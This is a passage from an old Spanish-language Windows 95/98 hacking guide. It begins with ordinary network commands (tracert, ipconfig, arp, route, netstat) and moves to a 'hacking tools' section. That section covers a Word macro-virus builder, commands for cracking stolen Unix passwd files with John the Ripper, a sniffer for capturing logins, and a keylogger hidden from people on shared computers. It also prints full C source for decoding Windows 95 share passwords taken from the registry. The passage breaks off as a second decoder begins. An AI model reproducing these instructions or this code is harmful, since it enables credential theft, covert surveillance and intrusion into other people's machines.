experiencia. Ahora escribimos una
direccion IP cuando invocamos al Tracert, de
la siguente forma:
c:\>tracert 198.83.210.28
Tracing route to dns-aol.ans.net
[198.83.210.28]
over a maximum of 30 hops:
1
* * *
Request timed out.
2 138 ms
145 ms 135 ms 204.134.78.201
3 212 ms
191 ms 181 ms
glory-cyberport.nm.westnet.net [204.134.78.33]
4 166 ms
228 ms 189 ms enss365.nm.org
[129.121.1.3]
5 148 ms
138 ms 177 ms
h4-0.cnss116.Albuquerque.t3.ans.net [192.103.74.45]
6 284 ms
296 ms 178 ms
f2.t112-0.Albuquerque.t3.ans.net [140.222.112.221]
7 298 ms
279 ms 277 ms
h14.t64-0.Houston.t3.ans.net [140.223.65.9]
8 238 ms
234 ms 263 ms
h14.t104-0.Atlanta.t3.ans.net [140.223.65.18]
9 301 ms
257 ms 250 ms dns-aol.ans.net
[198.83.210.28]
Trace complete.
Aqui podeis por todos lo sitios que ha
pasado el paquete que hemos enviado
al IP 198.83.210.28. Y asi podemos con todos
los servidores de Internet.
4-10. Winipcfg.
Ejecutando este comando, nos saldra una
ventana windows informandonos de
los diferentes valores de nuestra red.
Realmente util para verificar la
configuracion.
4-11. Ipconfig.
Este programa es similar al anterior
descrito pero funciona en modo MS-DOS.
Al igual nos sirve para verificar la
configuracion de nuestra red. Por
ejemplo, lo ejecutamos asi:
C:\WINDOWS>ipconfig
Windows 98 IP Configuration
0 Ethernet adapter :
IP Address. . . . . . . . . : 0.0.0.0
Subnet Mask . . . . . . . . :
0.0.0.0
Default Gateway . . . . . . :
Decir que en el ordenador donde estoy
escribiendo este articulo, no lo
tengo en estos momentos en red, por eso no
lo tengo configurado. Para pedir
las diferentes opciones, ejecutamos:
C:\WINDOWS>ipconfig -h
Windows 98 IP Configuration
Command line options:
/All - Display detailed information.
/Batch [file] - Write to file or
./WINIPCFG.OUT
/renew_all - Renew all adapters.
/release_all - Release all adapters.
/renew
N - Renew adapter N.
/release N - Release adapter N.
No veo la necesidad de traducir esto debido
a que es realmente facil, en
caso de no entender nada, aprende ingles :)
Pero la que mas nos puede
interesar es la opcion /All.
4-12. Arp.
Ejecutamos este comando para que nos muestre
o para modificar nuestra IP
en nuestra red, mantenida por un servidor
Windows NT. Por ejemplo:
C:\WINDOWS>arp
Displays and modifies the IP-to-Physical
address translation tables used by
address resolution protocol (ARP).
ARP -s inet_addr eth_addr [if_addr]
ARP -d inet_addr [if_addr]
ARP -a [inet_addr] [-N if_addr]
-a Displays current ARP entries by interrogating the current
protocol data.
If inet_addr is specified, the IP and Physical
addresses for only the
specified computer are displayed. If
more than one network
interface uses ARP, entries for each ARP
table are displayed.
-g Same as -a.
inet_addr Specifies an internet address.
-N if_addr Displays the ARP entries for the network interface specified
by if_addr.
-d Deletes the host specified by inet_addr.
-s Adds the host and associates the Internet address
inet_addr
with the Physical address
eth_addr. The Physical address is
given as 6 hexadecimal bytes
separated by hyphens. The entry
is permanent.
eth_addr Specifies a physical address.
if_addr If present, this specifies the Internet address of the
interface whose address
translation table should be modified.
If not present, the first
applicable interface will be used.
Example:
> arp -s 157.55.85.212 00-aa-00-62-c6-09 .... Adds a static entry.
> arp -a .... Displays the arp table.
Y como viene siendo habitual, os remito a
aprender ingles y a jugar con las
distintos parametros que tiene este comando.
4-13. Route.
Este comando nos permitira manejar la tabla
local TCP/IP. Al igual que los
demas comandos dispone de varios parametros,
los cuales son los siguientes:
C:\WINDOWS>route
Manipulates network routing tables.
ROUTE [-f] [command [destination] [MASK
netmask] [gateway] [METRIC metric]]
-f Clears the routing tables of all gateway entries. If this is
used in conjunction with one
of the commands, the tables are
cleared prior to running the
command.
command Must be one of four:
PRINT Prints
a route
ADD Adds
a route
DELETE Deletes
a route
CHANGE Modifies an existing route
destination Specifies the destination host.
MASK Specifies that the next parameter is the 'netmask' value.
netmask Specifies a subnet
mask value to be associated
with this route entry. If not
specified, it defaults to
255.255.255.255.
gateway Specifies gateway.
METRIC Specifies that the next paramenter 'metric' is the
cost for this destination
All symbolic names used for destination are
looked up in the network
database file NETWORKS. The symbolic names
for gateway are looked up in the
host name database file HOSTS.
If the command is PRINT or DELETE, wildcards
may be used for the destination
and gateway, or the gateway argument may be
omitted.
Diagnostic Notes:
Invalid MASK generates an error, that is
when (DEST & MASK) != DEST.
Example> route ADD 157.0.0.0 MASK
155.0.0.0 157.55.80.1
The route addition failed: 87
Examples:
> route PRINT
> route ADD 157.0.0.0 MASK
255.0.0.0 157.55.80.1 METRIC 3
^destination ^mask ^gateway ^metric
> route PRINT
> route DELETE 157.0.0.0
> route PRINT
Creo que queda bastante claro, incluso
provee distintos ejemplos para
familiarizarnos con este comando.
4-14. Netstat.
Este comando nos puede ser muy util para saber
que conexiones tenemos
activas en el momento de ejecutar este
comando, para conexiones TCP/IP, lo
ejecutamos asi, solo que en mi caso no
saldra ya que no estoy conectado en
este momento:
C:\WINDOWS>netstat
Active Connections
Proto
Local Address Foreign
Address State
Como veis no sale nada, pero si lo ejecutais
cuando esteis conectados, ya
vereis :) Como siempre este comando dispone
de varios parametros, que son
los siguientes:
C:\WINDOWS>netstat /?
Displays protocol statistics and current
TCP/IP network connections.
NETSTAT [-a] [-e] [-n] [-s] [-p proto] [-r]
[interval]
-a Displays all connections and listening ports.
-e Displays Ethernet statistics. This may be combined with
the -s
option.
-n Displays addresses and port numbers in numerical form.
-p proto Shows connections for the protocol specified by proto; proto
may be TCP or UDP. If used with the -s option to display
per-protocol statistics, proto
may be TCP, UDP, or IP.
-r Displays the routing table.
-s Displays per-protocol statistics. By default, statistics are
shown for TCP, UDP and IP; the
-p option may be used to
specify a subset of the
default.
interval Redisplays selected statistics, pausing interval seconds
between each display. Press CTRL+C to stop redisplaying
statistics. If omitted, netstat will print the current
configuration information
once.
Ya solo nos queda jugar con los distintos
parametros y aprender :)
5. Utilizacion De Tools.
En esta seccion os explicare diferentes
tools que podeis usar para hacking,
por supuesto hay que buscarlas por Internet,
no pondre el url para
encontrarlas, ya que a lo mejor cuando estas
leyendo esta guia ya no existe,
pero os dire como se llama el programa asi
lo podras buscar ademas esto
tambien te servira para que te espabiles y
sepas buscar cosas por Internet.
Logicamente esta guia es para win95/98 y los
programas que explicare seran
para win95/98 pero tambien me veo obligado a
explicar varias tools que no
son de win95/98 propiamente sino de MS-DOS
pero que son necesarias y ademas
corren en modo MS-DOS de win95/98.
5-1. Skamwerks lab version 1.1b
Este programa es un util herramienta que nos
ayuda a crear de forma rapida
virus macro, o sea para el Word. Tiene que
estar instalado el Word para
que este programa nos funcione.
Al ejecutar el programa nos aparecera una
ventana con 2 botones los caules
son las 2 opciones que podemos escoger
"Virii Wizard" o "Advanced Users".
El "virii Wizard" es la opcion, si
no sabemos muy bien como crear un virus
de macro ya que nos moveremos por varios
menus y crearemos un virus de
forma rapida y facilmente. La otra opcion,
"Advanced Users" es para
aquellos que sepan de Word Basic, el
lenguaje de programacion del Word, ya
que podemos meter codigo Word basic
directamente y asi crear un virus a
nuestro gusto.
Como este no es un curso sobre virus, no me
voy a enrollar sobre la
utilizacion exacta del programa. En mi
opinion es un buen programa,
en ingles :) programado en C++.
5-2. WaReZ! Version 95.12.31
Este programa es un cliente FTP que muestra
los directorios ocultos en un
servidor, util si nos metemos en algun sitio
sospechoso. Como ya es
costumbre para que nos funcione tenemos que
tener instalado el WINSOCK.DLL
correctamente.
Al igual que antes tampoco hay que explicar
mucho sobre este programa ya
que su Interface es igual que el cliente
WS_FTP que suele ser muy familiar
para todos, por lo que no encontraremos
mucha dificultad en su manejo.
5-3. John the ripper v1.4.
Esta magnifica tool no es propiamente de
win95/98 pero seria un pecado no
hablar de ella, cuando corre sobre win95/98
de maravilla (bueno, dentro de
lo que cabe :). John, como se le conoce,
sirve para crackear un fichero
unix de password (el conocido etc/passwd,
como ya digo aprended algo de
unix).
Cuando robemos un fichero passwd de un
servidor, lo que tenemos que hacer
es usar el John para sacar cuentas, pero no
solo basta esto sino tambien
necesitamos un buen diccionario y una
combinacion de suerte y paciencia.
Supongamos que ya tenemos todo (fichero
passwd, John y un diccionario),
entonces tenemos que abrir una ventana
MS-DOS y llamar al John, si lo
llamamos sin nigun parametro nos saldran un
listado de opciones, esto seria
asi:
c:\>john
Usage: john [flags] [passwd files]
Flags:-pwfile:<file>[,..] specify passwd file(s)
-wordfile:<file> -stdin wordlist
mode, read words from <file> or stdin
-rules enable rules for wordlist mode
-incremental[:<mode>] incremental mode [using john.ini entry
<mode>]
-single single
crack mode
-external:<mode> external mode, using john.ini entry
<mode>
-restore[:<file>] restore session [from <file>]
-makechars:<file> make a charset, <file> will be
overwritten
-show show
cracked passwords
-test perform a benchmark
-users:<login|uid>[,..] crack
this (these) user(s) only
-shells:[!]<shell>[,..] crack
users with this (these) shell(s) only
-salts:[!]<count> crack salts with at least <count>
accounts only
-lamesalts assume plaintext passwords were used as salts
-timeout:<time> abort session after a period of
<time> minutes
-list list each word
-beep -quiet
beep or don't beep when a password is found
-noname -nohash don't use memory for login names or
hash tables
-des -md5 force DES or MD5 mode
Veis? :), y como siempre no explicare que es
cada opcion os lo dejo para
que jugueis vosotros solitos!. Ahora, ya
podemos crackear el fichero,
para ello escogermos la opcion
"single", ya que el john no nos pedira
un fichero de diccionario, si fuese el caso
que no tenemos, ponemos:
c:\>john -single passwd
Y el John se pondra a trabajar, cuando halla
acabo creara un fichero
llamado "John.pot" donde se
almacenaran los passwords encriptados con
su correspodiente passwords desencriptado
(esta definicion no es del
todo correcta pero es para que lo entendais)
y ya tenemos unas cuentas
de acceso al servidor.
Este metodo va bien para la primera pasado
con el John pero luego conviene
usar un diccionario y con el diccionario
seria de la siguiente manera:
c:\>john -wordfile:spain.txt passwd
El John seguiria el mismo proceso antes
descrito, por supuesto si el
fichero "John.pot" esta creado ya,
les a€adira los resultados obtenidos
a este fichero, por cierto este fichero
tiene atributo de solo lectura.
Pues aqui se acaba la explicacion del John,
que seguro que ya aprendereis
a manejar correctamente. Referente a los
diccionarios hay varias
herramientas que corren bajo MS-DOS que
crean diccionarios o tambien
podeis buscar por Internet ya que hay varios
web's llenos de diccionarios.
Decir que la ultima version del John The
Ripper es la 1.5.
5-4. Gobbler v 2.1.
Volvemos a la carga con otro programa que no
es del win95/98 propiamente,
pero es un sniffer que podemos usar bajo
win95 en una red Ethernet. Un
Sniffer para aquellos que no sepan, es un
programa que captura los paquetes
que pasan por una red y asi se pueden
conseguir logins, passowrds u otro
tipo de informacion que querramos,
logicamente si los paquetes estan
encriptados, esto dificultara el proceso, ya
que habra que desencriptarlos
si se puede.
Como siempre abrimos una ventana y
ejecutamos el programa de la siguiente
manera:
c:\>gobbler
Y se activara el programa y veremos una
serie de ventanas, en este punto,
pulsamos el <ESC> y saldra una ventana
con un menu. Ahora tenemos que
configurar el programa para nuestra red, la
verdad es que es muy sencillo
de utilizar, con un poco de practica
dominaremos este sniffer facilmente.
Como sugerencia conviene leer el fichero de
documentacion que trae, ya
que explica como configurar el programa.
5-5. Sharepasswd.
Este programa desencripta el passorwd de
win95/98. Esta en lenguaje C, como
supongo todo el mundo tiene que tener un
compilador en C y si no ya estas
buscando uno, que hay muchos y gratis por
Internet. No veo la necesidad
de explicaros el programa ya que tambien
incluyo la explicacion del
autor la cual esta muy bien, logicamente.
------------ Codigo
Fuente ---------------------------------------------------
/* This program
takes an 'encrypted' Windows 95 share password and decrypts it
* Look at:
* HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan
* to find a machine's shares. Within the data for each share are two
* registry entries, Parm1enc and
Parm2enc. Parm1enc is the "Full
access"
* password.
Parm2enc is the "Read only" password.
*
* David Ross
2/9/96
* snakey@cs.umd.edu
*
* Do not distribute this program for any
commercial purpose without first
* contacting me for permission.
*
* DO NOT USE THIS PROGRAM FOR ILLEGAL OR
UNETHICAL PURPOSES!
*
* A technical description of the 'code' can
be found later on in this
* document.
*
* Oh yeah...
a totally unsolicited self promotion here... If anyone has
* a job for a junior year Computer Science
student for summer '96, please
* let me know! I'm familiar with Windows and Mac networking (especially
* involving TCP/IP), fluent in C and C++, and
working on becoming a
* proficient Windows programmer.
*
*/
#include
<stdio.h>
#include
<string.h>
#define BUFFER 30
int
DecodeCharOne(unsigned char *);
int
DecodeCharTwo(unsigned char *);
int
DecodeCharThree(unsigned char *);
int
DecodeCharFour(unsigned char *);
int
DecodeCharFive(unsigned char *);
int
DecodeCharSix(unsigned char *);
int
DecodeCharSeven(unsigned char *);
int
DecodeCharEight(unsigned char *);
main() {
int i; /* Generic counter */
int eocc = 0; /* Records if there has been an error */
/* The following structure stores the
encoded bytes. Decoded values
* replace the encoded values as the
decoding process moves along
* The initial values show here are not used
and are unimportant
*/
unsigned char mybytes[] = { 0x15, 0xba,
0x6d, 0x86, 0x73, 0x89, 0xf4, 0x4a };
unsigned short tempshort; /* Used as a go-between from sscanf() to
mybytes[] so unaligned data accesses
don't occur */
int goupto = 0; /* Records how many characters there are to be decoded */
/* The following code handles input */
char inpt[BUFFER];
char *inptptr;
printf("Input the byte code in hex (ex:
76 d5 09 e3): ");
fgets(inpt, BUFFER, stdin);
inptptr = strtok(inpt, " ");
if (inpt[0] != '\n')
while ((inptptr != NULL) &&
(goupto < 8)) {
sscanf(inptptr, "%hx",
&tempshort);
mybytes[goupto++] = tempshort;
inptptr = strtok(NULL, " ");
}
/* Decode all the characters. I could have made this stop immediately
* after an error has been found, but it
really doesn't matter
*/
if (!DecodeCharOne(&mybytes[0])) eocc =
1;
if (!DecodeCharTwo(&mybytes[1])) eocc =
1;
if (!DecodeCharThree(&mybytes[2])) eocc
= 1;
if (!DecodeCharFour(&mybytes[3])) eocc =
1;
if (!DecodeCharFive(&mybytes[4])) eocc =
1;
if (!DecodeCharSix(&mybytes[5])) eocc =
1;
if (!DecodeCharSeven(&mybytes[6])) eocc
= 1;
if (!DecodeCharEight(&mybytes[7])) eocc
= 1;
/* If the password could be decoded, print
it */
if (eocc) printf("The encrypted
password is invalid.\n");
else {
printf("The decoded password is:
\"");
for (i = 0; i < goupto; i++)
printf("%c",mybytes[i]);
printf("\"\n");
}
} /* End of main() */
/*
* I will document this function, but not the
seven other functions
* which decode the subsequent seven
characters. All of these functions
* are essentially the same. Multiple functions are necessary though
* because each column of the password has a
different set of encoding
* patterns.
*
* The following section will attempt to
explain the encoding scheme
* for share passwords as stored in the
Windows 95 registry. I will
* try to explain this as clearly as I can,
however I really have no
* background in encryption. If you have any questions, please feel
* free to send them to me at
snakey@cs.umd.edu.
*
* First off, share passwords can be anywhere
from one character to
* eight.
"Read only" passwords and "Full access" passwords
both use
* the same encoding scheme, and so they both
can be decoded by this
* program.
There is a one-to-one relationship between the number of
* characters in a password and the number of
bytes in the encoded
* password stored in the registry. In fact, each encoded byte directly
* corresponds to the letter in the
corresponding column of the
* unencoded password! Ie: If I change a password
"passwd" to "masswd",
* only the first byte of the encrypted
password will change. Knowing
* this, it is easy to see that all that needs
to be done to decode
* the password is to find a mapping from an
encoded byte to a decoded
* letter.
That's what this program does.
Unfortunately, things get
* a little tricky because a letter in the
first column of a password
* is encoded using a slightly different
algorithm than a letter
* in the second column, and so on.
*
* There is another complexity which we do not
really need to worry
* about to a great extent, but we still need
to be aware of. Many
* characters, when entered into a password,
map to the same encoded
* byte.
The best example of this is that both 'A' and 'a' are the
* same as far as share passwords are
concerned. There are numerous
* other examples of this, and this allows us
to effectively limit the
* range of characters we need to be able to
decode. The range of
* ASCII values we will have to be able to
decode turns out to be
* from 32 to 159. ASCII values higher than 159 tend to map to
* encoded bytes which also represent more
normal ASCII values. So
* if a user manages to create a password with
high ASCII values
* in it, that password will still be decoded
by this program.
* Although the decoded password won't look
the same as the original,
* it will work just as well.
*
* With all of the preliminaries out of the
way, I can now move on
* to describing the mapping from an encoded
byte to it's corresponding
* ASCII value. I think the best way to describe this would be through
* a picture of exactly how the characters
from 32 to 63 are mapped
* out in the code for the first letter in a
password. This table goes
* beyond the 80 column format maintained in
the rest of this document,
* but it is really the best solution. If the table below doesn't look
* right, load this file up in a text editor
that supports greater than
* 80 columns.
*
*
Encoded byte (hex) - 1F 1E 1D
1C 1B 1A 19 18 17 16 15 14 13 14 11 10
0F OE 0D 0C 0B
0A 09 08 07 06 05 04 03 02 01 00
*
ASCII value (decimal) - 42 43 40 41 46 47 44 45 34 35 32 33 38 39 36 37
58 59 56 57 62
63 60 61 50 51 48 49 54 55 52 53
*
Pair # - |_6_|
|_5_| |_8_| |_7_| |_2_| |_1_| |_4_| |_3_|
|14_| |13_|
|16_| |15_| |10_| |_9_| |12_| |11_|
*
Quad # -
|__________2__________| |__________1__________|
|__________3__________| |__________4__________|
* 32
byte block # -
|______________________________________________
1______________________________________________|
*
* The "Pair #", "Quad #",
and "32 byte block #" rows each are there to
* make the general ordering of the code more
visible. The first thing to
* note is that the range of encoded byte
values runs from 00 to 1f. This
* will not always be the case for the first
set of 32 characters. In
* fact, the next set of 32 characters (ASCII
64 to ASCII 95) is not in
* the range of 20 to 3f in encoded form. I never concerned myself with
* predicting exactly where each of the four
32 byte ranges are aligned
* within the range of 0 to 256. In my decoding scheme, I simply specify
* the location of the first character in a 32
byte block (which I have
* pre-determined via experimentation) and
determine the locations of the
* rest of the characters in the block
relative to the inital value. This
* amounts to a total of four hand-decoded
characters for the entire code.
*
* From a starting point which is given (in
this case the fact that ASCII
* 32 is encoded as 0x15), my decoding scheme
follows a pattern that is
* probably already apparent to you if you
have examined the above table
* closely.
First, if the encoded byte number is odd, it simple subtracts
* one from this byte number to get the byte
number of the encoded form of
* the subsequent character. This is much more simple than it sounds.
* As an example, given that the code for
ASCII 32 is 0x15, the program
* knows that the code for ASCII 33 must be
0x14. The tricky part is that
* this is not always true for every
code. Recall that there is a different
* coding scheme for each of the 8 columns in
a password, and that the above
* table only describes the coding scheme for
the first column. Other columns
* reverse this relationship between the two
ASCII values of a certain pair.
*
* Pairs are grouped into units of four,
appearing in a predefined pattern.
* In this case, the first pair (by first I
mean the pair with the lowest
* set of ASCII values) is put in the second
slot of a quad (which contains
* four pairs). The second pair is put in the first slot, the third is put
* in the fourth quad, and the fourth is put
in the third quad. This changes
* depending on the specific code used (of the
8 possible).
*
* Quads also fill a block in the same manner,
however the ordering is NOT
* necessarily the same as the way pairs fit
into quads! As I described
* above, there are four blocks, and they fit
into the entire range of
* 128 values just as pairs fit into quads and
quads fit into blocks,
* via a pattern determined by whoever
invented this encoding scheme. It
* is important to realize that the range of
128 possible encoded
* values can be anywhere within the range of
0 to 256. Ie: One block can
* be positioned from 0x00 to 0x1f, while
another block in the same code
* can be positioned from 0xa0 to 0xbf.
*
* I realize that the above description is a
bit complex, and it doesn't
* really cover much of _how_ my program
decodes the the encoded values.
* If you honestly can't understand a word
I've said, just go back to
* the table and really take a long look at
it. Print it out, put it
* under your pillow when you go to sleep. Sooner or later the order
* of it all will dawn on you and you should
be able to step through
* my code and see how it derives its answer,
at least for the
* DecodeCharOne() routine. Seven other tables (which I have rough
* copies of here on notebook paper) were
needed to come up with
* the seven other decoders for the seven
other character places.
*
*/
int
DecodeCharOne(unsigned char *mychar) {
int i = 0; /* Keeps track of the decoded character # minus 32 */
int cletter = 1; /* Sets the current letter of the 8 char quad */
int blockl1 = 1; /* Sets the current quad */
int blockl2 = 1; /* Sets the current 32 char block */
int retval = 1;
/* We are on this col of the table: */
unsigned char code = 0x15; /* The code for a space */
/* This is the main loop. It walks through each decoded character,
finds
* its corresponding encoded value, and
looks to see if that's the same as
* the encoded value we are looking
for. If it is, we have found our
* decoded character!
*/
while((i<256) && (code !=
*mychar)) {
switch (cletter) {
case 1:
code--;
cletter++;
break;
case 2:
code += 3;
cletter++;
break;
case 3:
code--;
cletter++;
break;
case 4:
code -= 5;
cletter++;
break;
case 5:
code--;
cletter++;
break;
case 6:
code+=3;
cletter++;
break;
case 7:
code--;
cletter++;
break;
case 8:
cletter = 1;
switch (blockl1) { /* After we hit character number 8, we
have */
case 1: /* to do a relative jump to the next quad */
code += 11;
blockl1++;
break;
case 2:
code -= 21;
blockl1++;
break;
case 3:
code += 11;
blockl1++;
break;
case 4:
blockl1 = 1;
switch (blockl2) { /* After we hit the last quad, we have
to */
case 1: /* jump to the next 32 character block. */
code = 0x75;
blockl2++;
break;
case 2:
code = 0x55;
blockl2++;
break;
case 3:
code = 0xb5;
blockl2++;
break;
case 4:
code = 0x15;
blockl2 = 1;
break;
}
break;
}
break;
}
i++;
}
if (i == 256) retval = 0;
else *mychar = i + 32;
return retval;
} /* End of DecodeCharOne() */
int
DecodeCharTwo(unsigned char *mychar) {
int i = 0;
int cletter = 1;
int blockl1 = 1;
int blockl2 = 1;
int retval = 1;
unsigned char code = 0xba; /* The code for a space */
while((i<256) && (code != *mychar))
{
switch (cletter) {
case 1:
code++;
cletter++;
break;
case 2:
code -= 3;
cletter++;
break;
case 3:
code++;
cletter++;
break;
case 4:
code += 5;
cletter++;
break;
case 5:
code++;
cletter++;
break;
case 6:
code -= 3;
cletter++;
break;
case 7:
code++;
cletter++;
break;
case 8:
cletter = 1;
switch (blockl1) {
case 1:
code
-= 11;
blockl1++;
break;
case 2:
code -= 11;
blockl1++;
break;
case 3:
code -= 11;
blockl1++;
break;
case 4:
blockl1 = 1;
switch (blockl2) {
case 1:
code = 0xda;
blockl2++;
break;
case 2:
code = 0xfa;
blockl2++;
break;
case 3:
code = 0x1a;
blockl2++;
break;
case 4:
code = 0xba;
blockl2 = 1;
break;
}
break;
}
break;
}
i++;
}
if (i == 256) retval = 0;
else *mychar = i + 32;
return retval;
} /* End of DecodeCharTwo() */
int
DecodeCharThree(unsigned char *mychar) {
int i = 0;
int cletter = 1;
int blockl1 = 1;
int blockl2 = 1;
int retval = 1;
unsigned char code = 0x6d; /* The code for a space */
while((i<256) && (code != *mychar))
{
switch (cletter) {
case 1:
code--;
cletter++;
break;
case 2:
code += 3;
cletter++;
break;
case 3:
code--;
cletter++;
break;
case 4:
code -= 5;
cletter++;
break;
case 5:
code--;
cletter++;
break;
case 6:
code += 3;
cletter++;
break;
case 7:
code--;
cletter++;
break;
case 8:
cletter = 1;
switch (blockl1) {
case 1:
code -= 5;
blockl1++;
break;
case 2:
code += 27;
blockl1++;
break;
case 3:
code -= 5;
blockl1++;
break;
case 4:
blockl1 = 1;
switch (blockl2) {
case 1:
code = 0x0d;
blockl2++;
break;
case 2:
code = 0x2d;
blockl2++;
break;
case 3:
code = 0xcd;
blockl2++;
break;
case 4:
code = 0x6d;
blockl2 = 1;
break;
}
break;
}
break;
}
i++;
}
if (i == 256) retval = 0;
else *mychar = i + 32;
return retval;
} /* End of DecodeCharThree() */
int
DecodeCharFour(unsigned char *mychar) {
int i = 0;
int cletter = 1;
int blockl1 = 1;
int blockl2 = 1;
int retval = 1;
unsigned char code = 0x86; /* The code for a space */
while((i<256) && (code !=
*mychar)) {
switch (cletter) {
case 1:
code++;
cletter++;
break;
case 2:
code -= 3;
cletter++;
break;
case 3:
code++;
cletter++;
break;
case 4:
code -= 3;
cletter++;
break;
case 5:
code++;
cletter++;
break;
case 6:
code -= 3;
cletter++;
break;
case 7:
code++;
cletter++;
break;
case 8:
cletter = 1;
switch (blockl1) {
case 1:
code += 13;
blockl1++;
break;
case 2:
code += 13;
blockl1++;
break;
case 3:
code += 13;
blockl1++;
break;
case 4:
blockl1 = 1;
switch (blockl2) {
case 1:
code = 0xe6;
blockl2++;
break;
case 2:
code = 0xc6;
blockl2++;
break;
case 3:
code = 0x26;
blockl2++;
break;
case 4:
code = 0x86;
blockl2 = 1;
break;
}
break;
}
break;
}
i++;
}
if (i == 256) retval = 0;
else *mychar = i + 32;
return retval;
} /* End of DecodeCharFour() */
int
DecodeCharFive(unsigned char *mychar) {
int i = 0;
int cletter = 1;
int blockl1 = 1;
int blockl2 = 1;
int retval = 1;
unsigned char code = 0x73; /* The code for a space */
while((i<256) && (code !=
*mychar)) {
switch (cletter) {
case 1:
code--;
cletter++;
break;
case 2:
code--;
cletter++;
break;
case 3:
code--;
cletter++;
break;
case 4:
code += 7;
cletter++;
break;
case 5:
code--;
cletter++;
break;
case 6:
code--;
cletter++;
break;
case 7:
code--;
cletter++;
break;
case 8:
cletter = 1;
switch (blockl1) {
case 1:
code += 7;
blockl1++;
break;
case 2:
code -= 25;
blockl1++;
break;
case 3:
code += 7;
blockl1++;
break;
case 4:
blockl1 = 1;
switch (blockl2) {
case 1:
code = 0x13;
blockl2++;
break;
case 2:
code = 0x33;
blockl2++;
break;
case 3:
code = 0x23;
blockl2++;
break;
case 4:
code = 0x73;
blockl2 = 1;
break;
}
break;
}
break;
}
i++;
}
if (i == 256) retval = 0;
else *mychar = i + 32;
return retval;
} /* End of DecodeCharFive() */
int
DecodeCharSix(unsigned char *mychar) {
int i = 0;
int cletter = 1;
int blockl1 = 1;
int blockl2 = 1;
int retval = 1;
unsigned char code = 0x89; /* The code for a space */
while((i<256) && (code !=
*mychar)) {
switch (cletter) {
case 1:
code--;
cletter++;
break;
case 2:
code += 3;
cletter++;
break;
case 3:
code--;
cletter++;
break;
case 4:
code += 3;
cletter++;
break;
case 5:
code--;
cletter++;
break;
case 6:
code += 3;
cletter++;
break;
case 7:
code--;
cletter++;
break;
case 8:
cletter = 1;
switch (blockl1) {
case 1:
code -= 13;
blockl1++;
break;
case 2:
code += 19;
blockl1++;
break;
case 3:
code -= 13;
blockl1++;
break;
case 4:
blockl1 = 1;
switch (blockl2) {
case 1:
code = 0xe9;
blockl2++;
break;
case 2:
code = 0xc9;
blockl2++;
break;
case 3:
code = 0x29;
blockl2++;
break;
case 4:
code = 0x89;
blockl2 = 1;
break;
}
break;
}
break;
}
i++;
}
if (i == 256) retval = 0;
else *mychar = i + 32;
return retval;
} /* End of DecodeCharSix() */
int
DecodeCharSeven(unsigned char *mychar) {
int i = 0;
int cletter = 1;
int blockl1 = 1;
int blockl2 = 1;
int retval = 1;
unsigned char code = 0xf4; /* The code for a space */
while((i<256) && (code !=
*mychar)) {
switch (cletter) {
case 1:
code++;
cletter++;
break;
case 2:
code++;
cletter++;
break;
case 3:
code++;
cletter++;
break;
case 4:
code -= 7;
cletter++;
break;
case 5:
code++;
cletter++;
break;
case 6:
code++;
cletter++;
break;
case 7:
code++;
cletter++;
break;
case 8:
cletter = 1;
switch (blockl1) {
case 1:
code += 9;
blockl1++;
break;
case 2:
code -= 23;
blockl1++;
break;
case 3:
code += 9;
blockl1++;
break;
case 4:
blockl1 = 1;
switch (blockl2) {
case 1:
code = 0x94;
blockl2++;
break;
case 2:
code = 0xb4;
blockl2++;
break;
case 3:
code = 0x54;
blockl2++;
break;
case 4:
code = 0xf4;
blockl2 = 1;
break;
}
break;
}
break;
}
i++;
}
if (i == 256) retval = 0;
else *mychar = i + 32;
return retval;
} /* End of DecodeCharSeven() */
int
DecodeCharEight(unsigned char *mychar) {
int i = 0;
int
cletter = 1;
int blockl1 = 1;
int blockl2 = 1;
int retval = 1;
unsigned char code = 0x4a; /* The code for a space */
while((i<256) && (code !=
*mychar)) {
switch (cletter) {
case 1:
code++;
cletter++;
break;
case 2:
code -= 3;
cletter++;
break;
case 3:
code++;
cletter++;
break;
case 4:
code += 5;
cletter++;
break;
case 5:
code++;
cletter++;
break;
case 6:
code -= 3;
cletter++;
break;
case 7:
code++;
cletter++;
break;
case 8:
cletter = 1;
switch (blockl1) {
case 1:
code -= 11;
blockl1++;
break;
case 2:
code += 21;
blockl1++;
break;
case 3:
code -= 11;
blockl1++;
break;
case 4:
blockl1 = 1;
switch (blockl2) {
case 1:
code = 0x2a;
blockl2++;
break;
case 2:
code = 0x0a;
blockl2++;
break;
case 3:
code = 0xea;
blockl2++;
break;
case 4:
code = 0x4a;
blockl2 = 1;
break;
}
break;
}
break;
}
i++;
}
if (i == 256) retval = 0;
else *mychar = i + 32;
return retval;
} /* End of DecodeCharEight() */
/* End of program */
------------ FIN
-------------------------------------------------------------
Cuando ejecutemos el programa nos saldra
esto:
c:\>sharepw
Input the byte code in hex (ex: 76 d5 09
e3):
Nos pide que introduzcamos el password en
formato Hexadecimal. Hay muchas
tablas por Internet para aquellos que no
tengan una.
5-6. Snadboy's revelation v1.1.
En este apartado hablare sobre una
interesante herramienta. El Snadboy es
una tool que nos descripta los astericos de
la tipica ventana que pide
password. Si hay una ventana con un password
y que no entendemos porque
solo salen asteriscos, lo que tenemos que
hacer es abrir el Snadboy y
situarnos al lado de la ventana de password,
la ventana del Snadboy tiene
una "mira de punto", pinchamos
encima de la mira y la arrastramos con el
raton sobre la ventana del password
situandonos encima del password,
soltamos y en la ventana del Snadboy veremos
el password descifrado.
Como nota, este programa para lo que hace,
ocupa mucho en el disco duro,por
lo que puede ser un poco sospechoso o que
los coders no lo han optimizado
demasiado que digamos.
5-7. Keylog95.
Este programa nos sera muy util en sitio
donde halla mucha gente, ya que
es un Key recoder, o sea, una peque€a
utilidad que se queda residente
en memoria y graba todos los logins y
password que la gente vaya metiendo.
El programa es de sencillo manejo, pero
tiene que haver unos peque€os
requisitos, primero tener las librerias
VBRUN300.DLL y QPRO200.DLL en el
directorio c:\windows\system y ademas tener
un directorio llamado c:\win,
ya que es alli donde el programa grabara la
informacion que obtenga, en
un fichero llamado "logx", por lo
que esto quedara:
c:\win\logx
Cuando las librerias esten metidas en el
directorio System, windows creara
un icono en la carpeta de Inico, por lo que
es conveniente darle un
atributo de Minimizado para que nadie lo
pueda ver y asi siempre que se
arranque Windows tambien lo hara el Keylog95
:)
5-8. Glide.
El Glide es otro programa que sirve para
desencriptar un password's en
Win95/98. Al igual que el Sharepw solo lo
tenemos que compiLar y ejecutar
con la salvedad que esta escrito en C++.
------------ Codigo
Fuente ---------------------------------------------------
#include
<stdio.h>
#include
<string.h>
#include
<process.h>
#include
